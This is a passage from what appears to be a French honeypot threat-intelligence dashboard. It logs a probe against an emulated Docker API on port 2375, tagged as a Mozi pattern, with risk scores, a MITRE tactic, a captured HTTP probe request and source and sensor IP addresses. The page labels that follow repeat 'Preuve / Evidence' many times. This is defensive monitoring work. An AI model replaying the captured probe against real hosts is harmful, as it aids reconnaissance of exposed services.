\u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }

8.216.88.236

Pourquoi listée

Comparaison ASN / FAI

IPs apparentées

Activité multi-protocole

Géolocalisation

FAI / réseau

Renseignement menaces

Décomposition confiance

Filtres

Timeline

Ports 24 h

Top ports

Top classifications

Heatmap attaques 7j

Chronologie des événements

Comparaison côte à côte

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence